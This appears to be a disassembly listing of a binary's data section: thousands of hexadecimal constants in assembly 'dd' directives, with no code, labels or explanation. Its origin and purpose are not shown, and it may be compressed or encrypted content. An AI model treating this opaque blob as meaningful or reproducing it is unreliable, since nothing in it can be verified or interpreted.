dd 7256E4h, 0BE13D44Fh, 331C9D54h, 6B007F71h, 0F7E623D3h
dd 92EB8F0h, 52843CBAh, 10213C87h, 958F90B9h, 91921D0Bh
dd 80B68B09h, 98048BEFh, 396D39D3h, 0F3D55580h, 523C76B9h
dd 0DBC0E00h, 510203C4h, 0C23B3E0Ah, 7BD31080h, 40143B0h
dd 0EB349A1Eh, 0F8E76783h, 14B3CF60h, 8305F898h, 750F00FBh
dd 0ECCC72B7h, 1982BCEh, 829F3Eh, 1B4A6C84h, 13A2A39Eh
dd 0B1DC96h, 98957FD2h, 0C80238D4h, 30B4D26Ch, 4201E022h
dd 34990004h, 8C5F3FB8h, 7E001F0Ch, 9AA2FF24h, 1F49D85h
dd 0EB0BE4EAh, 0D0A1154Eh, 0F600DA3Bh, 8273E90Dh, 3D6F44h
dd 0A0B33F4Ah, 6540CE5Bh, 80B9101h, 0E5ADF0D2h, 0F034B7FCh
dd 0C59C01AEh, 891245D8h, 28CD4098h, 92009A9Dh, 0F529B23Ch
dd 39CD042h, 0CA6846BFh, 89F8210Dh, 0F1039659h, 0B1C2B0D4h
dd 6D6FE0EBh, 412607B4h, 0D017D93Ch, 0F4373266h, 0EC99DD00h
dd 4D7249C8h, 197002FEh, 20A1824Ch, 7E023AE0h, 0B583C700h
dd 8C2A8D58h, 27230054h, 0F2A5299Fh, 800BAC2h, 0B4A93ADFh
dd 6BA41Ch, 802DEB43h, 5134C3A6h, 5F60FF01h, 70E0609h
dd 3E4287D8h, 25010215h, 911F6850h, 0DB83E055h, 2FB97B00h
dd 567E7ADAh, 0C89C074Dh, 1F5D5CE0h, 38C75060h, 0EFE8588Ah
dd 5A260D01h, 32205F74h, 15A5B340h, 10240009h, 438D55C1h
dd 3600352Ah, 19AAA034h, 900D9EFAh, 2C493926h, 44A94603h
dd 9A984B81h, 0EC0F7D38h, 0E5197515h, 0F38009D4h, 170880h
dd 2EAF2695h, 4CA7101Ch, 0EC3C2207h, 9F0402Ah, 0C777E8h
dd 99A152BDh, 0C612B39h, 30500600h, 6BE6AEBCh, 29E00DBh
dd 0A02174C7h, 0B70B0F1Ah, 80A41840h, 177C610Fh, 160A005Ch
dd 7EC05FC9h, 0EB0097F4h, 34502CBEh, 5864BBh, 698592A8h
dd 94A791DBh, 9522721Eh, 8EF6BD80h, 3DD1DDDAh, 8C004BD7h
dd 2C0806A4h, 89030984h, 55437850h, 0E06AB830h, 2F1D00EEh
dd 0FCDEC301h, 4000DFCBh, 0B7C766EBh, 0FC0A9E0Ch, 7F484h
dd 144604DDh, 0A1081DD8h, 0F46F2439h, 0FF00FBFCh, 6DA1876h
dd 1D8E7F78h, 40CF8B7Bh, 0D04AA613h, 0B300DDFAh, 0B871F7C2h
dd 1CB4AF4Bh, 3FCC0619h, 4C358B80h, 214A7E64h, 9A07787Ch
dd 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h, 80477349h, 0ED84B90Dh
dd 8C7A8616h, 0A1F03400h, 167F425h, 2F2DC55Fh, 0F59E8351h
dd 6688F405h, 53153707h, 24E57593h, 8B3BB0C0h, 5AF10728h
dd 0E0609749h, 365D3857h, 3F529B00h, 0CF4404B4h, 0A3EA5Ch
dd 0B24E944Ah, 21565762h, 0EA73AE00h, 381625C4h, 8F1800D2h
dd 4267E37h, 920E459Eh, 0C0318E2Fh, 4A0146E1h, 0F2EB004Fh
dd 511DDA73h, 0C400132Ah, 79642FECh, 81D817h, 0B6B2ACF4h
dd 2B334DCCh, 54B31D06h, 3BC51E0Ch, 119D211Ah, 89190034h
dd 0D1AD0868h, 2CA92300h, 4930900Ah, 0D8C10F96h, 7F407E83h
dd 70687705h, 0E0185E00h, 453020C8h, 28663B40h, 2B344207h
dd 1525400Ch, 570F12BEh, 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h
dd 8FF092h, 0BF06CAB6h, 0C0DE2090h, 0D3FF1E00h, 0BDC8558Dh
dd 6FC1007Eh, 29CC1317h, 561F6119h, 88000C49h, 35941D55h
dd 89B0047h, 66929EA4h, 2116739Dh, 3D0029E2h, 97A38289h
dd 68A200B4h, 579B6C4Ah, 553B9894h, 0B12400CAh, 589C5172h
dd 3C0F7DEBh, 6A00F277h, 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h
dd 0FCF57226h, 3446007Eh, 0DA4714F2h, 0F7F8F424h, 77AA1960h
dd 2B9AF9h, 0DB99FE45h, 0B86F28AAh, 461B6000h, 0C8D42F20h
dd 81080025h, 0ED0A2923h, 8CF05290h, 6A71140Bh, 1E43006Dh
dd 0F1811EAh, 0FCA2E953h, 0A09F13C3h, 88F680A7h, 0E800B0ECh
dd 66A05F1h, 2413CE5Eh, 0AD6C7Ch, 59A94E82h, 0A20E9048h
dd 40A14434h, 2058B9A4h, 5EA5008Ah, 0CBAB920Fh, 0DD0124C8h
dd 52501121h, 25611C18h, 2E745E0h, 0F5289833h, 0DD601D02h
dd 0F978DD31h, 0F048998h, 820CD054h, 8AD5B080h, 24B70037h
dd 49E65906h, 630061BFh, 0AE121D58h, 980E4427h, 0E8DE4A4Dh
dd 0BE870001h, 89DFFBFAh, 0C18500CFh, 151F57FEh, 67008F17h
dd 0B9EF4548h, 8FC0Bh, 1C5DCAFAh, 3E9E055h, 0A468D900h
dd 81D4B785h, 0C4900029h, 21718A23h, 38054424h, 5EEE1D0Fh
dd 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h, 7B1E09FFh, 0F5DE421Ch
dd 6843AEC0h, 0E1F532Ch, 0A8DBC816h, 0BAD61C61h, 0F12AF024h
dd 810726FEh, 31400689h, 0DA534540h, 3421001Bh, 381CDE71h
dd 0F200C485h, 11173C72h, 744C8EEh, 23E2475Ch, 9D13604Ch
dd 0E54C49E4h, 0B2F1E4Eh, 0BE644AC2h, 84F5403Eh, 4B345C56h
dd 50B8BB00h, 60318925h, 7327EB00h, 3D80DE04h, 20BA008Ch
dd 37E805CCh, 8D0093F1h, 10739BC7h, 8B9A0Dh, 5CCDD5C8h
dd 2E4104E4h, 79656B00h, 0C4D9F5C2h, 0F0723967h, 6C696687h
dd 5C30F0EBh, 0D0094C0h, 0E0221E75h, 7542320h, 8A53C379h
dd 70818027h, 9300B57Ah, 9A61F265h, 6ED60Eh, 196D323Eh
dd 77592B68h, 7DB7BF00h, 0DC25E1Fh, 0D60401C6h, 0C08B4281h
dd 109560F8h, 5407ECF0h, 49EAAF97h, 8E41D0C0h, 8C8B0380h
dd 23DD5CF4h, 58D89490h, 52510F00h, 9FB35D2h, 0E68E009Ah
dd 0A6E9661h, 3000C481h, 604FC319h, 158D13h, 23515092h
dd 0AD90BC10h, 0A38A900h, 21DFDAEh, 89D838FEh, 0C108071Eh
dd 14100E0Ch, 207D2016h, 0E09FBE70h, 7A706014h, 0C0A00380h
dd 910129E0h, 44022290h, 89040300h, 18251505h, 310E214h
dd 84820636h, 0A9309E2h, 0CB30BA3h, 0ED30DC3h, 10F30FE3h
dd 80A711F1h, 51C1124Eh, 0E56D18Bh, 5780882Eh, 44A3900h
dd 53063572h, 0A09DF8BEh, 188A00B8h, 5C882840h, 0AA009CADh
dd 5808420Bh, 0E6D8B7CBh, 318107EEh, 0E04FFFE7h, 47AFCC7h
dd 0FE031B00h, 5CD72F89h, 783B6014h, 9A0FD273h, 27017279h
dd 0CE2B1080h, 70D4E8D3h, 790101A4h, 9125CF37h, 0B9803E0Ch
dd 896182h, 0B5595E3Eh, 32DC1F6Ah, 7FC0AD1Fh, 0EBBC8100h
dd 7911ABBh, 17410D88h, 8C1E6082h, 29000525h, 2402D6F8h
dd 0C82D66h, 505553B4h, 22579856h, 0F00FB901h, 612EA2AAh
dd 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh, 0F4EE3B13h
dd 5E76F0h, 5A8FD15h, 8C5C8B38h, 4CFC831Ch, 40430800h
dd 6089C53Bh, 0B9EBE819h, 0D006117h, 0F7282474h, 7440698h
dd 62336815h, 0C71CD0FFh
dd 17CC849h, 890080ECh, 656A8D18h, 0E0142708h, 2C340696h
dd 0D403E0D3h, 13DE8100h, 0C43EF101h, 5187000Fh, 30B5788Eh
dd 0A870EC7Eh, 33C5D00h, 10F983C3h, 27DB0h, 6C24C040h
dd 758B4D7Ch, 6DC9A41Fh, 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h
dd 3E8025CEh, 300CB2Bh, 0D88A28FBh, 0DAE9B9h, 0BD766C89h
dd 3981BF34h, 0BB661007h, 89FB0714h, 0CA70809Bh, 320FE49h
dd 7B4ED87Dh, 0EAF0DFAAh, 4A00A284h, 401A025Dh, 5FC49h
dd 7E09CA32h, 299BA9B5h, 0F049800h, 4295628Dh, 0FF960367h
dd 320DC0B6h, 26985B98h, 1F046973h, 23824B11h, 61C98B80h
dd 0F13B1EEDh, 26807EB4h, 0C12FC88Ah, 4200229Fh, 8F2A8894h
dd 84BA6Ch, 0C896809h, 373B0D87h, 0BCE2B328h, 47210A1Fh
dd 1F4C5E67h, 0FAC89741h, 0B0AD3800h, 0BD1C01h, 579CFFD4h
dd 788306C7h, 7208C100h, 8AA0EF30h, 26410111h, 0BE055488h
dd 0E648DCFBh, 8E12400h, 14CA6AE2h, 0DB00950h, 0B680F8C2h
dd 7817AEEFh, 7334F900h, 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh
dd 0E325DC49h, 5CA65AC0h, 64A42201h, 29279612h, 80C8D4h
dd 0DCC0E407h, 111C8A1Eh, 0EBD38700h, 2C46103Bh, 0C30A3973h
dd 0D21B2800h, 0F3FF9278h, 30143F00h, 2FD707AFh, 208C0ABDh
dd 1F8E3418h, 38818108h, 0DC110D12h, 2EF03C02h, 0E8B0F00h
dd 843079C9h, 896F00FAh, 961C410Ah, 431F18B9h, 0E680C371h
dd 0DABDE85Fh, 62044C97h, 8E8BC107h, 31745389h, 598125D0h
dd 6212F400h, 4068D233h, 70BCE6B7h, 1689007Eh, 9B2C888Ah
dd 957B65B8h, 7AA41C18h, 3E3DAh, 0F8804037h, 91E6723Ah
dd 4F8D98C0h, 3B685063h, 0E8001FD1h, 0B942F7CCh, 38015878h
dd 0E57A08Fh, 30E40820h, 13900085h, 8941C021h, 0A4006087h
dd 50C4E6Bh, 5B0FF5h, 81DEB9Bh, 0E25ED112h, 757D605h, 0C0BE8D43h
dd 9CD7F219h, 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h
dd 0BDB99D8Eh, 25013C0h, 527E5411h, 5295800h, 0C4860CDh
dd 0FAA6005Ch, 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h
dd 8D29C8D9h, 0CA6B0069h, 71CDD1C1h, 8A0055D0h, 1D4899BCh
dd 136BB28h, 6A2C53ABh, 0D10A34AAh, 8864F404h, 9C1C024h
dd 4D008316h, 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h
dd 0B929907h, 0D200F35h, 2C35943h, 6D316C62h, 8840098Dh
dd 15017310h, 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch
dd 0EB462434h, 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h
dd 0F5FE8111h, 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh
dd 3679EB32h, 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh
dd 1C13770Bh, 0C6501700h, 46E024A3h, 71480F65h, 0FC020EDh
dd 7B2738Ch, 920EB700h, 104B053Dh, 0AB3A0052h, 24848D0Ah
dd 0A4003B29h, 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h
dd 0BE02BC0h, 640083C6h, 80DD98DFh, 0FA0451BCh, 2E7505CDh
dd 0C005DAFDh, 2407EB80h, 39331B48h, 651200F5h, 0BE54D21Ch
dd 0E0587D6Eh, 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h
dd 5E9BDC00h, 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h
dd 85C3C7CCh, 97908Dh, 8814577Ah, 5D6558DCh, 10056703h
dd 9843860Fh, 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh
dd 0C30041A2h, 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh
dd 68054100h, 1E88BF1h, 971129Ch, 8D0600C1h, 0A3422E31h
dd 6500700h, 21BF145Eh, 3D8EFADAh, 44D8AC33h, 84E2F00h
dd 980990F4h, 0E9AB1000h, 32729B23h, 3C70BD2Ch, 5A8DCB00h
dd 0C1A9C14h, 9A1501F5h, 0C2563DCDh, 7BD62011h, 0CE08F701h
dd 2CBFC39Dh, 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h
dd 946DE407h, 80C092DAh, 0F4887Ah, 0D741529Ah, 0CA03140Bh
dd 89770600h, 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h
dd 906CC41Ch, 74F07EB8h, 0FF0083F6h, 715A7203h, 1E8D0502h
dd 44FD6Fh, 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h
dd 1AB4002Fh, 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh
dd 8C93008Bh, 6A733882h, 963D79CFh, 0C881002Bh, 0EFD3C503h
dd 80461E18h, 0E74387CDh, 8A19F24h, 0D7E40130h, 0F81CF6E8h
dd 5B5AEB00h, 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h
dd 0D005AD7h, 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h
dd 8C008B1Ah, 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h
dd 8600FD1Bh, 1552C862h, 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh
dd 500E8E88h, 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h
dd 2BD00024h, 8A3C40D1h, 50880312h, 0F0693FE2h, 3907B8Bh
dd 96C70391h, 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h
dd 0F286Eh, 0C6AFC382h, 2C1347D2h, 6400FAB0h, 0C217AA83h
dd 4CCD1852h, 0AB00E428h, 69B03CE8h, 850341A3h, 78843888h
dd 0CB47C370h, 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h
dd 27E75AFDh, 0D190C3h, 406A8726h, 1E100668h, 84E3F900h
dd 2C1F62BAh, 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh
dd 0A8178044h, 15E1A7FCh, 3E860EE6h, 12C04BAFh, 37208A5Ah
dd 0A11C51E8h, 5FD73B11h, 7C543700h, 767E532Fh, 0B097FCEh
dd 57428758h, 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch
dd 5155E9h, 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h
dd 31300CEh, 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h
dd 0A21D03ECh, 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh
dd 0FCF80FDh, 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h
dd 2757E181h, 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh
dd 0FA18D2CBh, 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h
dd 923DC229h, 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh
dd 4BE84001h, 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh
dd 78CB0E00h, 387225Ah, 56824C75h, 539B425Bh, 724D45A8h
dd 18DB7F00h, 24945A48h, 55890112h, 25E2E3AEh, 8FD040B9h
dd 0C00293Bh, 97ADC65Fh, 6BC572h, 0C45B18A1h, 58A5DA88h
dd 95846007h, 0FC0010C6h, 800203h, 0F3E4E938h, 11C9798h
dd 0C23A8300h, 0C7405674h, 4A9300D4h, 4C35B20h, 48000D7Bh
dd 0DB2A5E52h, 17A95AAh, 6F1CA5A3h, 0E8744DCEh, 0B80037D4h
dd 97778AE3h, 839023h, 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h
dd 4A8DCA7Fh, 70291FEEh, 9CEC0E9h, 0ADDC071Ah, 7100D9F4h
dd 0AEF00CB1h, 3FF45174h, 0EE8031CBh, 8DA6C6ACh, 821D27AAh
dd 14C0C3F1h, 0F5F20195h, 5C8500F6h, 0DD54029h, 9200519Dh
dd 0B2523E4Bh, 3E9A776h, 29E5F810h, 0FCB8401Ch, 0ED58DBE8h
dd 0D5371E65h, 89F4B841h, 3CE702F0h, 0B10FC458h, 8280A605h
dd 87453D80h, 6F936400h, 6D37803h, 20050055h, 2608A11Bh
dd 44006209h, 9811B34Ch, 7E750664h, 270C070Dh, 70B68DBFh
dd 8CF61471h, 541A1500h, 0AC2EDC8Ah, 789005Eh, 0A96C7952h
dd 44007C34h, 0E8170509h, 7AD95F7h, 804893D8h, 875C05Dh
dd 141FCCD3h, 6C02CA3h, 18F7C62Dh, 1D890017h, 0F9533BA1h
dd 0A6EC32CEh, 0AC21DE00h, 79E3184h, 0A8363997h, 1D803AFAh
dd 74300E80h, 0B8327563h, 9D607700h, 5CD24DB3h, 580A00B9h
dd 649C100Bh, 840F94A7h, 20309FAEh, 42A9A824h, 0FF011E53h
dd 5780405Bh
dd 6F646E69h, 734B7705h, 0C580DCAAh, 1353925h, 7FE43B7Dh
dd 7E4F1219h, 60C5AFB0h, 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh
dd 4D9F0031h, 4E433C69h, 33F80154h, 7542252Eh, 344E7095h
dd 8057900h, 2306A32h, 58700060h, 10258050h, 4C00FCBFh
dd 0C9987ECBh, 0F2C1997Fh, 36BC002Bh, 29A97B84h, 0F4F4497Ah
dd 0DF535700h, 48E71CBBh, 3E79722Dh, 2E00760Ch, 95D7F2F0h
dd 0B5001B7Fh, 0CAFF50D3h, 0DF7126h, 33CD9214h, 474F5455h
dd 6843EC0Fh, 27A0008Ch, 1A40A9h, 7D017F2Eh, 137534F8h
dd 5AD37B03h, 1E9DECh, 64ABFA10h, 34568B46h, 0BB668200h
dd 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h, 5FC0EC2h, 0FE120100h
dd 0A93CEF2h, 0FC064F09h, 0DB642ED6h, 5B15D803h, 0AB5CB8AFh
dd 0A9441DB9h, 0C02D402Bh, 923EE92Eh, 7600F6F8h, 199BB82h
dd 7A75251Ch, 4B0A0F42h, 0C200A7D4h, 447B57FCh, 0A38F6950h
dd 22AF4500h, 7EDE0930h, 1AD6482Fh, 55F0AC00h, 0BF5405D4h
dd 5700A975h, 4B780C73h, 4142ABh, 5B9CFCD6h, 9D5A1799h
dd 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh, 0DE20004h, 61D92B4Ah
dd 3100A521h, 7795CE96h, 39411317h, 1ABDAB52h, 6A986280h
dd 2153CCA5h, 0AC73F000h, 0BE927D33h, 0C0AE00D5h, 0C7448D3h
dd 2A000FE6h, 17D88384h, 749C53E9h, 67C40044h, 0CB21F25h
dd 0A030E0Dh, 2A35EAE7h, 4C18E874h, 134B008Dh, 0FEF6CCA1h
dd 85055729h, 8CBA9A3Fh, 0C951CE80h, 0B3070105h, 0F9255D02h
dd 2C81DCD4h, 0A67C3D00h, 41B5A9Ch, 0B3980A34h, 1CFEB05h
dd 0FC79F878h, 0B785ECBAh, 8E23443Eh, 5203A358h, 0A552200h
dd 1D7E664Eh, 0C7101341h, 0B0279943h, 3CEB2806h, 0A8EA9200h
dd 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah, 0A306B326h, 0C307C822h
dd 81C1E72h, 9801AE3h, 0B89616E2h, 0E4B000Dh, 0D0387406h
dd 0E8390AB3h, 910B0002h, 0AC7A6223h, 4DF94C57h, 42014400h
dd 41920CA5h, 0B4D8BF00h, 0EB15FF60h, 111C4C28h, 855BC15Bh
dd 0D7F0E089h, 0AA9C5E00h, 1254AF75h, 0A0094C0Fh, 1F1C800h
dd 4FE83202h, 0FE0BA100h, 287C0A6Ah, 5E49002Fh, 92981062h
dd 972F7908h, 9E74AFh, 3D024429h, 0E3B9D90h, 0EB0726EAh
dd 4719CC01h, 74C0315Ah, 458A006Ah, 16033CFAh, 66002875h
dd 0BA4B6EA9h, 80FFC3h, 0FA410A86h, 0F6434825h, 83D84D00h
dd 8CE02E0h, 1D9A24F8h, 0BA3F0033h, 3C3B1996h, 2437B400h
dd 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch, 0FA904714h, 7A0C2500h
dd 0CA09E13Dh, 5EA49h, 5BB9827Eh, 0FC0ADE64h, 20005077h
dd 34BA8CF1h, 3A4FB80Bh, 5700D102h, 0B478BF9Ah, 0CC001E6Ch
dd 33FD0FF5h, 5C6A60B9h, 0BA008F01h, 94157C57h, 17780A87h
dd 0F2009077h, 1252988Eh, 9C2C39h, 0FE3ED711h, 0F7934ACBh
dd 0B220400h, 64F840BFh, 0FD820375h, 9C917F70h, 533E2F90h
dd 74739F00h, 435C6D81h, 0C7720075h, 0EBD46EBBh, 0CF0FACE8h
dd 0E0947E53h, 3529DE0Bh, 0AE4F0793h, 0C073EFE4h, 495750B4h
dd 4A4E7100h, 53D83854h, 52450F1Bh, 26410656h, 0E84CEC3Ch
dd 4D7A4E41h, 0AF284B00h, 0FF2E102Dh, 1AEE224h, 308298E9h
dd 0C83A41B0h, 4799B0Dh, 407F7700h, 3D0F0B76h, 0E13F0087h
dd 0D3852489h, 0EC00D257h, 0AF640345h, 481B08h, 224B9133h
dd 0C87B4363h, 0E178AE78h, 0B2F63Ah, 11E40D27h, 0F15E084h
dd 0E93520FBh, 155A040h, 8300F818h, 8A0EF3E1h, 3E7630ECh
dd 0B207F053h, 709217F4h, 0F8347B59h, 0DF031E74h, 6552AC29h
dd 0EFF38812h, 6BC003F2h, 3BC5600Eh, 649D9298h, 0F00767E2h
dd 4654FC08h, 8E31E250h, 65F27Eh, 0A11CEBD8h, 4E1F0415h
dd 4FC4B803h, 0B937036Ch, 6E30F9B0h, 2B130091h, 21BF5DE7h
dd 9C009744h, 61C8427h, 806477h, 0C3695399h, 226F0991h
dd 8B447D1Eh, 12A789C0h, 0C82CB5h, 0ED46BBAh, 5B9FEDD9h
dd 0A21D3700h, 0E0D5E230h, 0FE86000Ch, 0F80EFF54h, 8A1D1CA7h
dd 71C0B110h, 40231B28h, 6F9B014Ah, 57B42C33h, 6B72D813h
dd 61A20900h, 74797D92h, 9F833E49h, 64F7600h, 41B10CBCh
dd 61FC6400h, 65633B6Eh, 19200029h, 503CDEA7h, 0E4FF6D6Fh
dd 64004515h, 0B84F3D69h, 0D0E4ACh, 736566D3h, 612D8AE3h
dd 0C4186C00h, 0CE444D11h, 8E3A03CBh, 4A86EA6Eh, 0BBB8BEB8h
dd 0B926A501h, 9CB2128Bh, 0B864CBE3h, 90940975h, 0E2320AF1h
dd 7CDCDE5h, 20BB3976h, 0B70F4540h, 975C5D24h, 18218039h
dd 0BAA728B9h, 72EB003Ch, 99D7841Dh, 931E0E12h, 4F81348Dh
dd 1A49BEA2h, 55817C4h, 0DB849B0Fh, 0B9C7C093h, 99002F64h
dd 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h, 9ECBF373h, 0F3984408h
dd 8E53143Ah, 48DD56h, 2A88FC95h, 3C5C4887h, 45542100h
dd 0F509764Dh, 4F26B600h, 8FEED912h, 0C21000C0h, 9FA1A4B2h
dd 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h, 0F0B05457h, 0B534C627h
dd 9A9800D8h, 0C91A8F7Eh, 79FF3600h, 0D35DF2E9h, 530B018Ch
dd 974C4450h, 0F07D21D5h, 2201B964h, 0F47BB41Bh, 25E0FB16h
dd 0C6940088h, 8018829Dh, 757BFE3Bh, 2636DE07h, 731510C1h
dd 8D0874C1h, 0FA8CC870h, 94F7FA3h, 0A804BCEh, 0F00988Eh
dd 4388C094h, 4E750161h, 57D874D3h, 0ABC300AEh, 0AB06933h
dd 5C1D5116h, 0B840A7F2h, 3B534108h, 387D0130h, 9D4AC2F4h
dd 72CAF407h, 8F8D0C02h, 0E0DEC312h, 74F8DA2Dh, 856F0EDCh
dd 0B12BD3Ch, 5DFEADh, 42409723h, 31C2008Ah, 0EB18F98Bh
dd 270F3A10h, 0C0097221h, 805703D5h, 75B907FAh, 90B389BBh
dd 9C159C7h, 0D4310F00h, 1398C44Ch, 3047D83h, 5570C09Bh
dd 0D0E70EC8h, 12BC62B8h, 0CAD95200h, 1005DC46h, 0B08C00D8h
dd 1FA4D030h, 6726D443h, 0F601AF27h, 834807E8h, 24A814F0h
dd 3D7538Dh, 0F719B752h, 0C01BD890h, 38840800h, 2761012h
dd 56E90009h, 33557EA5h, 6E1C8B78h, 5DC08F92h, 0E805D0D6h
dd 0B94800AFh, 0A124B767h, 0F500E9BAh, 18EC0C99h, 12A95A8h
dd 0AC0E495Fh, 0D8727D81h, 0FD007F63h, 480FDF05h, 2EA4BF17h
dd 70A42E5h, 30EB3014h, 8CB8E88Ah, 9C472C3Fh, 9BC03BE6h
dd 66AB55Fh, 0C455008Bh, 24A7FA5Ah, 787BF1E9h, 0E1723200h
dd 0EA103D17h, 3484C0E6h, 0E52DF454h, 1A8C2114h, 0BC08009Dh
dd 3D3AD490h, 0A4B10382h, 65DF7201h, 0C76ABDE8h, 0DC67F00h
dd 0A550F246h, 16A60081h, 7322E2E6h, 7C3BCCB8h, 821B812Bh
dd 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh, 0A0A30109h, 0FC799286h
dd 200012E1h, 6DDFA418h, 7A5699F1h, 429800E0h, 10F9C0Eh
dd 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h, 33C076E4h, 0D040B45Dh
dd 0D4961900h, 6138A03h, 0BEF93C48h, 944E6F80h, 2C77B540h
dd 0DC752000h, 0D7E5F303h, 7D8324C0h, 740F00DBh, 8EC8A38Ch
dd 703D155Ch, 48D3F00h, 99C62B5Bh, 0C2750033h, 32F546E5h
dd 97008F22h, 2CC86692h, 3D81D140h, 9183D80Ch, 4B0A5B6Bh
dd 4CB8490h, 1941CA00h, 8345A0EAh, 0B4B80A62h, 81AE1Eh
dd 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h, 31E075EEh
dd 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h, 18890235h
dd 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch, 4BC32Bh
dd 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch, 4CE208h
dd 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h, 94BC2441h
dd 0F61E3Ah, 8B28BB3Ah
dd 48010537h, 2C438319h, 42301221h, 14660030h, 16BE8B50h
dd 0FE00344Ah, 7B80DE02h, 0D6C103h, 0F2B0576Eh, 0EA52BA68h
dd 5900D5ECh, 0F84E8D6Dh, 6C0394Ah, 7705F980h, 49FAFC51h
dd 1904DAFAh, 1708B710h, 29C01E87h, 0B8913248h, 89560009h
dd 33EB684Bh, 7A1CC72Bh, 6E407980h, 1081322h, 88191D90h
dd 1E101D02h, 3E071E04h, 0CEF62780h, 0DE89F1Bh, 850F240Bh
dd 8A3980CCh, 73E43h, 1D74052Ch, 4F83C8FEh, 0F50EE3Ah
dd 0D488FA08h, 842E00BCh, 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch
dd 87000FC6h, 369C37B7h, 48F38918h, 8009939h, 0C8C111ADh
dd 8E00D509h, 14550E9h, 0FA1833FDh, 25F822h, 367B8D05h
dd 0EB1354BEh, 5C9DA30Fh, 17E980C3h, 14801ABh, 425E8414h
dd 0EDE4F2B4h, 5CBCE488h, 74F244F2h, 5026A9F2h, 57038171h
dd 0B80B20EDh, 3E548602h, 6583C976h, 37A608BAh, 0CEE4B898h
dd 0B9364404h, 1380810Ch, 7614868Ah, 5D450349h, 97D45942h
dd 0BDA400F5h, 93208BF1h, 0E807CC98h, 2D121AD3h, 864814C0h
dd 0A9910077h, 0EB2A8A3Bh, 11012C3Ch, 1408F534h, 68F85F64h
dd 1B3B0178h, 0BE0A0960h, 5310601Dh, 0E200287Fh, 4A4B9734h
dd 9C5A7h, 91160722h, 0D40B944Fh, 0ED145Ch, 136DA48Fh
dd 0E274067Ch, 4409000Eh, 3E882E1Eh, 500056EBh, 0B7C4A28Ch
dd 33C6A65h, 0D689AFF7h, 0E6A01499h, 6300ACD9h, 4D4BFCB8h
dd 0BADCFFh, 0B2365C43h, 0EB2B5A20h, 7CD7F07h, 47332C0Ah
dd 81069017h, 1D3A9024h, 4014C95Fh, 0E57C115Dh, 4C00210Eh
dd 3BF23C10h, 264B22BCh, 19142Ah, 74D807C8h, 900785BEh
dd 68B2A4F0h, 0E6BB4160h, 9FB0000Ah, 0BCB95D09h, 0C3004916h
dd 25856C03h, 0C4001h, 36383420h, 0B6587644h, 630011ECh
dd 0B5C2EF75h, 14302B01h, 0ECFA5390h, 2E0F323Ch, 0FD660D4h
dd 80BDCAE7h, 7257865Fh, 2DE06269h, 63614200h, 6E45206Bh
dd 3568005Eh, 56A47A57h, 3400291Ch, 505B7660h, 695D03h
dd 2F856D75h, 0D4309401h, 535E3Ah, 0C2E349BCh, 436517h
dd 0B6B2BE1Ch, 6D90B56Eh, 58007298h, 307053EFh, 3B314BADh
dd 3752DA5h, 0DCAFB590h, 11905098h, 4D002809h, 8C27646Fh
dd 295525h, 0A534482Ch, 0CD9AFAD8h, 6B019D07h, 5070AC53h
dd 0FC75DEh, 6AD25930h, 4264A128h, 8B83BF12h, 1978E000h
dd 760A464Eh, 0A7091DE5h, 0A87C4027h, 0F67E704Fh, 804A0200h
dd 0CC5B89FCh, 8A787Dh, 0E0B9C45Eh, 0E3820A73h, 582F262Eh
